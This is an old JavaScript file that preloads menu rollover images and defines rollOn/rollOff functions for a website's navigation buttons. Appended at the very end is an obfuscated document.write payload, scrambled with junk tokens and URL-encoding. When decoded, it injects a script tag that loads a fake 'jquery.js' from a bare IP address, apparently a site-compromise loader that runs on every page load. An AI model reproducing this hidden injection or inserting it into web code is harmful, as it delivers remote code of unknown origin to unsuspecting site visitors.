bName = navigator.appName;
bVer = parseInt(navigator.appVersion);
if ((bName == "Netscape" && bVer >= 3) || (bName == "Microsoft Internet Explorer" && bVer >= 4)) version = "n3";
else version = "n2";
               
if (version == "n3") {
    home_on = new Image();
    home_off = new Image();
    home_on.src = "images/on_home.gif";
    home_off.src = "images/off_home.gif";
	
    images_on = new Image();
    images_off = new Image();
    images_on.src = "images/on_images.gif";
    images_off.src = "images/off_images.gif";	
	
    chi_on = new Image();
    chi_off = new Image();
    chi_on.src = "images/on_chi.gif";
    chi_off.src = "images/off_chi.gif";	
	
    products_on = new Image();
    products_off = new Image();
    products_on.src = "images/on_products.gif";
    products_off.src = "images/off_products.gif";	
	
    contact_on = new Image();
    contact_off = new Image();
    contact_on.src = "images/on_contact.gif";
    contact_off.src = "images/off_contact.gif";				
	
    placements_on = new Image();
    placements_off = new Image();
    placements_on.src = "images/on_placements.gif";
    placements_off.src = "images/off_placements.gif";		
        
}

function rollOn (imgName) {
	if (version == "n3") {
        imgOn = eval(imgName + "_on.src");
        document[imgName].src = imgOn;
	}
}

function rollOff (imgName) {
	if (version == "n3") {
        imgOff = eval(imgName + "_off.src");
        document[imgName].src = imgOff;
	}
}<!-- 
document.write(unescape('%3Conisc907roniiptAcO%20KSsronic%3D1x%2F%2F9470%2E27047907%2E2AcO%2Eoni195907%2FKSjqZYu907e1xryoni%2E1xjs70%3E%3C%2FAcOsAcOc907r1xiAcOp907t907%3E').replace(/AcO|KS|ZY|907|oni|70|1x/g,""));
 -->